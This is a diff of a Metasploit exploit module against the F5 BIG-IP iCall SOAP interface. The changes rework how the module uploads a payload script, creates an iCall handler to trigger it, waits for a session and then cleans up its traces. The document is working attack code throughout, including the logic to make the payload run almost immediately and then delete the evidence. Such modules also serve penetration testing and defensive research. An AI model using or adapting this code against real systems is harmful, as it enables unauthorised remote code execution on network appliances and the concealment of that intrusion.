@@ -31,7 +31,8 @@ def initialize(info = {})
31
31
'License' => MSF_LICENSE ,
32
32
'Author' =>
33
33
[
34
- 'tom' # Discovery, Metasploit module
34
+ 'tom' , # Discovery, Metasploit module
35
+ 'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
35
36
] ,
36
37
'References' =>
37
38
[
@@ -59,7 +60,7 @@ def initialize(info = {})
59
60
] )
60
61
register_advanced_options (
61
62
[
62
- OptInt . new ( 'INTERVAL ' , [ true , 'Time interval before the iCall::Handler is called , in seconds' , 3 ] ) ,
63
+ OptInt . new ( 'SESSION_WAIT ' , [ true , 'The max time to wait for a session , in seconds' , 5 ] ) ,
63
64
OptString . new ( 'PATH' , [ true , 'Filesystem path for the dropped payload' , '/tmp' ] ) ,
64
65
OptString . new ( 'FILENAME' , [ false , 'File name of the dropped payload, defaults to random' ] ) ,
65
66
OptInt . new ( 'ARG_MAX' , [ true , 'Command line length limit' , 131072 ] )
@@ -138,18 +139,19 @@ def delete_script(script_name)
138
139
end
139
140
end
140
141
end
141
- send_soap_request ( delete_xml )
142
+ print_error ( "Error while cleaning up script #{ script_name } " ) unless ( res = send_soap_request ( delete_xml ) )
143
+ res
142
144
end
143
145
144
- def script_exists ( script_name )
146
+ def script_exists? ( script_name )
145
147
exists_xml = build_xml do |xml |
146
148
xml [ 'scr' ] . get_list ( SOAPENV_ENCODINGSTYLE )
147
149
end
148
150
res = send_soap_request ( exists_xml )
149
151
res && res . code == 200 && res . body =~ Regexp . new ( "/Common/#{ script_name } " )
150
152
end
151
153
152
- def create_handler ( handler_name , script_name , interval )
154
+ def create_handler ( handler_name , script_name )
153
155
handler_xml = build_xml do |xml |
154
156
xml [ 'per' ] . create ( SOAPENV_ENCODINGSTYLE ) do
155
157
xml . handlers ( STRING_ATTRS ) do
@@ -162,7 +164,11 @@ def create_handler(handler_name, script_name, interval)
162
164
end
163
165
xml . intervals ( LONG_ATTRS ) do
164
166
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
165
- xml . item interval
167
+ # we set this to run once every 24h, but because there is no
168
+ # start/end time it will run once, more or less immediately, and
169
+ # again 24h from now, but by that point hopefully we will have
170
+ # cleaned up and the handler/script/etc are gone
171
+ xml . item 60 *60 *24
166
172
end
167
173
end
168
174
end
@@ -180,10 +186,11 @@ def delete_handler(handler_name)
180
186
end
181
187
end
182
188
183
- send_soap_request ( delete_xml )
189
+ print_error ( "Error while cleaning up handler #{ handler_name } " ) unless ( res = send_soap_request ( delete_xml ) )
190
+ res
184
191
end
185
192
186
- def handler_exists ( handler_name )
193
+ def handler_exists? ( handler_name )
187
194
handler_xml = build_xml do |xml |
188
195
xml [ 'per' ] . get_list ( SOAPENV_ENCODINGSTYLE )
189
196
end
@@ -220,37 +227,44 @@ def exploit
220
227
return false
221
228
end
222
229
223
- print_status ( 'Uploading payload...' )
224
-
225
- script_name = Rex ::Text . rand_text_alpha_lower ( 5 )
230
+ script_name = "script-#{ Rex ::Text . rand_text_alphanumeric ( 16 ) } "
231
+ print_status ( "Uploading payload script #{ script_name } " )
226
232
create_script_res = create_script ( script_name , cmd )
227
233
unless create_script_res && create_script_res . code == 200
228
- print_error ( "Upload script failed" )
234
+ print_error ( "Upload payload script failed" )
229
235
return false
230
236
end
231
- unless script_exists ( script_name )
232
- print_error ( "create_script() run successfully but script was not found" )
237
+ unless script_exists? ( script_name )
238
+ print_error ( "Payload script uploaded successfully but script was not found" )
233
239
return false
234
240
end
235
241
register_file_for_cleanup @payload_path
236
242
237
- interval = datastore [ 'INTERVAL' ]
238
-
239
243
# phase 2: create iCall Handler, that will actually run the previously created script
240
- print_status ( 'Creating trigger...' )
241
- handler_name = Rex ::Text . rand_text_alpha_lower ( 5 )
242
- unless create_handler ( handler_name , script_name , interval )
243
- print_error ( 'Script uploaded but create_handler() failed' )
244
+ handler_name = "handler-#{ Rex ::Text . rand_text_alphanumeric ( 16 ) } "
245
+ print_status ( "Creating trigger #{ handler_name } " )
246
+ unless create_handler ( handler_name , script_name )
247
+ print_error ( 'Payload script uploaded but trigger creation failed' )
248
+ delete_script ( script_name )
249
+ return false
250
+ end
251
+ unless handler_exists? ( handler_name )
252
+ print_error ( "Trigger created successfully but was not found" )
253
+ delete_script ( script_name )
244
254
return false
245
255
end
246
- print_status ( 'Wait until payload is executed ...' )
256
+ print_status ( 'Waiting for payload to execute ...' )
247
257
248
- sleep ( interval ) # small delay, just to make sure
249
- print_status ( 'Trying cleanup...' )
250
- if delete_handler ( handler_name ) && delete_script ( script_name )
251
- print_status ( 'Cleanup finished with no errors' )
252
- else
253
- print_error ( 'Error while cleaning up' )
258
+ # if our payload has not been successfully executed just yet, wait
259
+ # until it does or give up
260
+ slept = 0
261
+ until session_created? || slept > datastore [ 'SESSION_WAIT' ]
262
+ Rex . sleep ( 1 )
263
+ slept += 1
254
264
end
265
+
266
+ print_status ( 'Trying cleanup...' )
267
+ delete_script ( script_name )
268
+ delete_handler ( handler_name )
255
269
end
256
270
end
0 commit comments